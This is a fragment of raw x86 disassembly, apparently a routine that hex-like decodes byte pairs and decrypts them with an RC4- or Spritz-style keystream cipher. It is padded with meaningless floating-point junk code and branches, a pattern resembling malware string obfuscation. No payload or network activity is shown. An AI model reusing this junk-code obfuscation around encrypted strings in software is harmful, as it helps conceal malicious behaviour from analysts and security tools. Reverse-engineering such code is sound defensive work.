mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp - 0x191]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp - 0x192]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
mov dl, byte [ebp - 0x1b1]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x1b1]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp - 0x1b2]
add edx, ecx
mov byte [ebp - 0x1b2], dl
movzx eax, byte [ebp - 0x1b3]
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x18d]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
xor eax, edx
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x1a1]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
movzx ecx, byte [ebp - 0x1b2]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp + edx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0x192], al
mov dl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], dl
mov al, byte [ebp - 0x192]
mov byte [ebp - 0x1db], al
cmp dword [ebp - 0x1f8], 0
jle 0x47d581
movsx cx, byte [ebp - 0x1db]
mov edx, dword [ebp - 0x1f8]
mov word [ebp + edx*2 - 0xc6], cx
jmp 0x47d30a
mov eax, dword [ebp - 0x2c8]
add eax, 1
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x1f8]
add ecx, 1
mov dword [ebp - 0x1f8], ecx
mov edx, dword [ebp - 0x2c8]
add edx, 1
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x1f8]
shl eax, 1
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x368]
movzx edx, byte [ecx]
mov dword [ebp - 0x334], edx
mov dword [ebp - 0x344], 0xc4
mov eax, dword [ebp - 0x1f8]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x370]
movzx eax, byte [edx]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x34c], 0xab
mov ecx, dword [ebp - 0x334]
sub ecx, dword [ebp - 0x344]
mov dword [ebp - 0x350], ecx
mov edx, dword [ebp - 0x348]
sub edx, dword [ebp - 0x34c]
mov dword [ebp - 0x354], edx
mov eax, dword [ebp - 0x350]
shl eax, 4
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x378], ecx
mov edx, dword [ebp - 0x374]
or edx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], edx
mov al, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], al
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x1b1], dl
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp + eax - 0xf4c]
mov dword [ebp - 0x1a04], ecx
mov dl, byte [ebp - 0x18d]
add dl, 1
mov byte [ebp - 0x18d], dl
movzx eax, byte [ebp - 0x191]
add eax, dword [ebp - 0x1a04]
mov byte [ebp - 0x191], al
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp - 0x191]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp - 0x192]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
mov dl, byte [ebp - 0x1b1]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x1b1]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp - 0x1b2]
add edx, ecx
mov byte [ebp - 0x1b2], dl
movzx eax, byte [ebp - 0x1b3]
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x18d]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
xor eax, edx
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x1a1]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
movzx ecx, byte [ebp - 0x1b2]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp + edx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0x192], al
mov dl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], dl
mov al, byte [ebp - 0x192]
mov byte [ebp - 0x1db], al
cmp dword [ebp - 0x1f8], 0
jle 0x47d7fa
movsx cx, byte [ebp - 0x1db]
mov edx, dword [ebp - 0x1f8]
mov word [ebp + edx*2 - 0xc6], cx
mov eax, dword [ebp - 0x1f8]
add eax, 1
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x2c8]
add ecx, 1
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1f8]
shl edx, 1
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x368]
movzx ecx, byte [eax]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x344], 0xc4
mov edx, dword [ebp - 0x1f8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x370]
movzx edx, byte [ecx]
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x34c], 0xab
mov eax, dword [ebp - 0x334]
sub eax, dword [ebp - 0x344]
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x348]
sub ecx, dword [ebp - 0x34c]
mov dword [ebp - 0x354], ecx
mov edx, dword [ebp - 0x350]
shl edx, 4
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x374]
or ecx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], ecx
mov dl, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], dl
movzx eax, byte [ebp - 0x1a1]
mov cl, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1b1], cl
movzx edx, byte [ebp - 0x18d]
movzx eax, byte [ebp + edx - 0xf4c]
mov dword [ebp - 0x1a08], eax
mov cl, byte [ebp - 0x18d]
add cl, 1
mov byte [ebp - 0x18d], cl
movzx edx, byte [ebp - 0x191]
add edx, dword [ebp - 0x1a08]
mov byte [ebp - 0x191], dl
movzx eax, byte [ebp - 0x191]
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x192]
movzx ecx, byte [ebp - 0x191]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp - 0x192]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x18d]
mov cl, byte [ebp - 0x1b1]
mov byte [ebp + eax - 0xf4c], cl
movsd xmm0, qword [0x582690]
movsd qword [ebp - 0xc10], xmm0
movsd xmm0, qword [0x582548]
movsd qword [ebp - 0xb00], xmm0
movsd xmm0, qword [0x5823c0]
movsd qword [ebp - 0xe24], xmm0
movsd xmm0, qword [0x5821c8]
movsd qword [ebp - 0xc90], xmm0
movsd xmm0, qword [ebp - 0xb00]
subsd xmm0, qword [ebp - 0xc90]
movsd qword [ebp - 0xb00], xmm0
movsd xmm0, qword [ebp - 0xb00]
mulsd xmm0, qword [ebp - 0xc90]
movsd qword [ebp - 0xb00], xmm0
movsd xmm0, qword [ebp - 0xc10]
addsd xmm0, qword [ebp - 0xc90]
movsd qword [ebp - 0xc10], xmm0
movsd xmm0, qword [ebp - 0xb00]
subsd xmm0, qword [ebp - 0xc90]
movsd qword [ebp - 0xb00], xmm0
movsd xmm0, qword [ebp - 0xb00]
comisd xmm0, xmmword [ebp - 0xc90]
jbe 0x47daba
movsd xmm0, qword [ebp - 0xc90]
mulsd xmm0, qword [ebp - 0xc10]
movsd qword [ebp - 0xc90], xmm0
movsd xmm0, qword [ebp - 0xb00]
mulsd xmm0, qword [ebp - 0xe24]
movsd qword [ebp - 0xb00], xmm0
movsd xmm0, qword [ebp - 0xc10]
addsd xmm0, qword [ebp - 0xb00]
movsd qword [ebp - 0xc10], xmm0
movsd xmm0, qword [ebp - 0xe24]
mulsd xmm0, qword [ebp - 0xc90]
movsd qword [ebp - 0xe24], xmm0
movzx edx, byte [ebp - 0x1b1]
movzx eax, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp - 0x1b2]
add ecx, eax
mov byte [ebp - 0x1b2], cl
jmp 0x47db1a
movsd xmm0, qword [ebp - 0xb00]
subsd xmm0, qword [ebp - 0xc90]
movsd qword [ebp - 0xb00], xmm0
movsd xmm0, qword [ebp - 0xe24]
addsd xmm0, qword [ebp - 0xc10]
movsd qword [ebp - 0xe24], xmm0
movsd xmm0, qword [ebp - 0xc10]
subsd xmm0, qword [ebp - 0xe24]
movsd qword [ebp - 0xc10], xmm0
movsd xmm0, qword [ebp - 0xc10]
mulsd xmm0, qword [ebp - 0xe24]
movsd qword [ebp - 0xc10], xmm0
movzx edx, byte [ebp - 0x1b3]
movzx eax, byte [ebp - 0x191]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx eax, byte [ebp - 0x18d]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor edx, ecx
movzx eax, byte [ebp - 0x192]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx eax, byte [ebp - 0x1a1]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
movzx eax, byte [ebp - 0x1b2]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx eax, byte [ebp + ecx - 0xf4c]
xor edx, eax
mov byte [ebp - 0x192], dl
mov cl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], cl
mov dl, byte [ebp - 0x192]
mov byte [ebp - 0x1db], dl
cmp dword [ebp - 0x1f8], 0
jle 0x47dbd7
movsx ax, byte [ebp - 0x1db]
mov ecx, dword [ebp - 0x1f8]
mov word [ebp + ecx*2 - 0xc6], ax
mov edx, dword [ebp - 0x2c8]
add edx, 3
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x1f8]
add eax, 1
mov dword [ebp - 0xda0], eax
jmp 0x47dc06
mov ecx, dword [ebp - 0xda0]
add ecx, 1
mov dword [ebp - 0xda0], ecx
mov edx, dword [ebp - 0xda0]
cmp edx, dword [ebp - 0x2c8]
jge 0x47de70
mov eax, dword [ebp - 0x1f8]
add eax, 1
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x1f8]
shl ecx, 1
mov dword [ebp - 0x368], ecx
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x368]
movzx eax, byte [edx]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x344], 0xc4
mov ecx, dword [ebp - 0x1f8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x370], edx
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x370]
movzx ecx, byte [eax]
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x34c], 0xab
mov edx, dword [ebp - 0x334]
sub edx, dword [ebp - 0x344]
mov dword [ebp - 0x350], edx
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x34c]
mov dword [ebp - 0x354], eax
mov ecx, dword [ebp - 0x350]
shl ecx, 4
mov dword [ebp - 0x374], ecx
mov edx, dword [ebp - 0x354]
mov dword [ebp - 0x378], edx
mov eax, dword [ebp - 0x374]
or eax, dword [ebp - 0x378]
mov dword [ebp - 0x37c], eax
mov cl, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], cl
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + edx - 0xf4c]
mov byte [ebp - 0x1b1], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp + ecx - 0xf4c]
mov dword [ebp - 0x1a0c], edx
mov al, byte [ebp - 0x18d]
add al, 1
mov byte [ebp - 0x18d], al
movzx ecx, byte [ebp - 0x191]
add ecx, dword [ebp - 0x1a0c]
mov byte [ebp - 0x191], cl
movzx edx, byte [ebp - 0x191]
movzx eax, byte [ebp - 0x1a1]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x192]
movzx eax, byte [ebp - 0x191]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x18d]
movzx eax, byte [ebp - 0x192]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x18d]
mov al, byte [ebp - 0x1b1]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x1b1]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx eax, byte [ebp - 0x1b2]
add eax, edx
mov byte [ebp - 0x1b2], al
movzx ecx, byte [ebp - 0x1b3]
movzx edx, byte [ebp - 0x191]
movzx eax, byte [ebp + edx - 0xf4c]
movzx edx, byte [ebp - 0x18d]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0xf4c]
xor ecx, eax
movzx edx, byte [ebp - 0x192]
movzx eax, byte [ebp + edx - 0xf4c]
movzx edx, byte [ebp - 0x1a1]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
movzx edx, byte [ebp - 0x1b2]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp + eax - 0xf4c]
xor ecx, edx
mov byte [ebp - 0x192], cl
mov al, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], al
mov cl, byte [ebp - 0x192]
mov byte [ebp - 0x1db], cl
cmp dword [ebp - 0x1f8], 0
jle 0x47de6b
movsx dx, byte [ebp - 0x1db]
mov eax, dword [ebp - 0x1f8]
mov word [ebp + eax*2 - 0xc6], dx
jmp 0x47dbf7
mov ecx, dword [ebp - 0x2c8]
add ecx, 1
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1f8]
add edx, 1
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x2c8]
add eax, 1
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x1f8]
shl ecx, 1
mov dword [ebp - 0x368], ecx
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x368]
movzx eax, byte [edx]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x344], 0xc4
mov ecx, dword [ebp - 0x1f8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x370], edx
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x370]
movzx ecx, byte [eax]
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x34c], 0xab
mov edx, dword [ebp - 0x334]
sub edx, dword [ebp - 0x344]
mov dword [ebp - 0x350], edx
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x34c]
mov dword [ebp - 0x354], eax
mov ecx, dword [ebp - 0x350]
shl ecx, 4
mov dword [ebp - 0x374], ecx
mov edx, dword [ebp - 0x354]
mov dword [ebp - 0x378], edx
mov eax, dword [ebp - 0x374]
or eax, dword [ebp - 0x378]
mov dword [ebp - 0x37c], eax
mov cl, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], cl
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + edx - 0xf4c]
mov byte [ebp - 0x1b1], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp + ecx - 0xf4c]
mov dword [ebp - 0x1a10], edx
mov al, byte [ebp - 0x18d]
add al, 1
mov byte [ebp - 0x18d], al
movzx ecx, byte [ebp - 0x191]
add ecx, dword [ebp - 0x1a10]
mov byte [ebp - 0x191], cl
movzx edx, byte [ebp - 0x191]
movzx eax, byte [ebp - 0x1a1]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x192]
movzx eax, byte [ebp - 0x191]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x18d]
movzx eax, byte [ebp - 0x192]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x18d]
mov al, byte [ebp - 0x1b1]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x1b1]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx eax, byte [ebp - 0x1b2]
add eax, edx
mov byte [ebp - 0x1b2], al
movzx ecx, byte [ebp - 0x1b3]
movzx edx, byte [ebp - 0x191]
movzx eax, byte [ebp + edx - 0xf4c]
movzx edx, byte [ebp - 0x18d]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0xf4c]
xor ecx, eax
movzx edx, byte [ebp - 0x192]
movzx eax, byte [ebp + edx - 0xf4c]
movzx edx, byte [ebp - 0x1a1]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
movzx edx, byte [ebp - 0x1b2]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp + eax - 0xf4c]
xor ecx, edx
mov byte [ebp - 0x192], cl
mov al, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], al
mov cl, byte [ebp - 0x192]
mov byte [ebp - 0x1db], cl
cmp dword [ebp - 0x1f8], 0
jle 0x47e0e1
movsx dx, byte [ebp - 0x1db]
mov eax, dword [ebp - 0x1f8]
mov word [ebp + eax*2 - 0xc6], dx
mov ecx, dword [ebp - 0x1f8]
add ecx, 1
mov dword [ebp - 0x1f8], ecx
mov edx, dword [ebp - 0x2c8]
add edx, 1
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x1f8]
shl eax, 1
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x368]
movzx edx, byte [ecx]
mov dword [ebp - 0x334], edx
mov dword [ebp - 0x344], 0xc4
mov eax, dword [ebp - 0x1f8]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x370]
movzx eax, byte [edx]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x34c], 0xab
mov ecx, dword [ebp - 0x334]
sub ecx, dword [ebp - 0x344]
mov dword [ebp - 0x350], ecx
mov edx, dword [ebp - 0x348]
sub edx, dword [ebp - 0x34c]
mov dword [ebp - 0x354], edx
mov eax, dword [ebp - 0x350]
shl eax, 4
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x378], ecx
mov edx, dword [ebp - 0x374]
or edx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], edx
mov al, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], al
movss xmm0, dword [0x5829f0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [0x582984]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [0x582878]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x298]
mulss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x298]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x2b8]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x298]
comiss xmm0, dword [ebp - 0x2b8]
jbe 0x47e2a2
movss xmm0, dword [ebp - 0x298]
addss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x298]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x2b8]
subss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b8], xmm0
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x1b1], dl
jmp 0x47e4c3
movss xmm0, dword [ebp - 0x2b0]
divss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x2b0]
divss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x2b8]
divss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x2b8]
mulss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x298]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x2b8]
divss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x2b0]
comiss xmm0, dword [ebp - 0x298]
jbe 0x47e390
movss xmm0, dword [ebp - 0x2b0]
subss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x298]
addss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x298]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
jmp 0x47e4c3
movss xmm0, dword [ebp - 0x2b8]
divss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x2b0]
divss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x2b0]
mulss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x2b8]
mulss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x298]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x2b8]
divss xmm0, dword [ebp - 0x298]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x2b0]
comiss xmm0, dword [ebp - 0x2b8]
jbe 0x47e47b
movss xmm0, dword [ebp - 0x2b0]
divss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x2b0]
divss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x2b0], xmm0
movss xmm0, dword [ebp - 0x2b0]
divss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x2b0], xmm0
jmp 0x47e4c3
movss xmm0, dword [ebp - 0x2b8]
subss xmm0, dword [ebp - 0x2b0]
movss dword [ebp - 0x2b8], xmm0
movss xmm0, dword [ebp - 0x298]
addss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x298], xmm0
movss xmm0, dword [ebp - 0x298]
addss xmm0, dword [ebp - 0x2b8]
movss dword [ebp - 0x298], xmm0
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp + eax - 0xf4c]
mov dword [ebp - 0x1a14], ecx
mov dl, byte [ebp - 0x18d]
add dl, 1
mov byte [ebp - 0x18d], dl
movzx eax, byte [ebp - 0x191]
add eax, dword [ebp - 0x1a14]
mov byte [ebp - 0x191], al
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp - 0x191]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp - 0x192]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
mov dl, byte [ebp - 0x1b1]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x1b1]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp - 0x1b2]
add edx, ecx
mov byte [ebp - 0x1b2], dl
movzx eax, byte [ebp - 0x1b3]
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x18d]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
xor eax, edx
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x1a1]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
movzx ecx, byte [ebp - 0x1b2]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp + edx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0x192], al
mov dl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], dl
mov al, byte [ebp - 0x192]
mov byte [ebp - 0x1db], al
cmp dword [ebp - 0x1f8], 0
jle 0x47e63d
movsx cx, byte [ebp - 0x1db]
mov edx, dword [ebp - 0x1f8]
mov word [ebp + edx*2 - 0xc6], cx
mov eax, dword [ebp - 0x1f8]
add eax, 1
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x2c8]
add ecx, 1
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1f8]
shl edx, 1
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x368]
movzx ecx, byte [eax]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x344], 0xc4
mov edx, dword [ebp - 0x1f8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x370]
movzx edx, byte [ecx]
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x34c], 0xab
mov eax, dword [ebp - 0x334]
sub eax, dword [ebp - 0x344]
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x348]
sub ecx, dword [ebp - 0x34c]
mov dword [ebp - 0x354], ecx
mov edx, dword [ebp - 0x350]
shl edx, 4
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x374]
or ecx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], ecx
mov dl, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], dl
movzx eax, byte [ebp - 0x1a1]
mov cl, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1b1], cl
movzx edx, byte [ebp - 0x18d]
movzx eax, byte [ebp + edx - 0xf4c]
mov dword [ebp - 0x1a18], eax
mov cl, byte [ebp - 0x18d]
add cl, 1
mov byte [ebp - 0x18d], cl
movzx edx, byte [ebp - 0x191]
add edx, dword [ebp - 0x1a18]
mov byte [ebp - 0x191], dl
movzx eax, byte [ebp - 0x191]
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x192]
movzx ecx, byte [ebp - 0x191]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movss xmm0, dword [0x582934]
movss dword [ebp - 0xa78], xmm0
movss xmm0, dword [0x5828dc]
movss dword [ebp - 0x1a1c], xmm0
movss xmm0, dword [0x582894]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [0x582848]
movss dword [ebp - 0x7dc], xmm0
movss xmm0, dword [0x5827f4]
movss dword [ebp - 0x85c], xmm0
movss xmm0, dword [0x5827a4]
movss dword [ebp - 0x6dc], xmm0
movss xmm0, dword [ebp - 0x7dc]
mulss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x7dc], xmm0
movss xmm0, dword [ebp - 0x440]
subss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0xa78]
subss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0xa78], xmm0
movss xmm0, dword [ebp - 0x440]
addss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0x7dc]
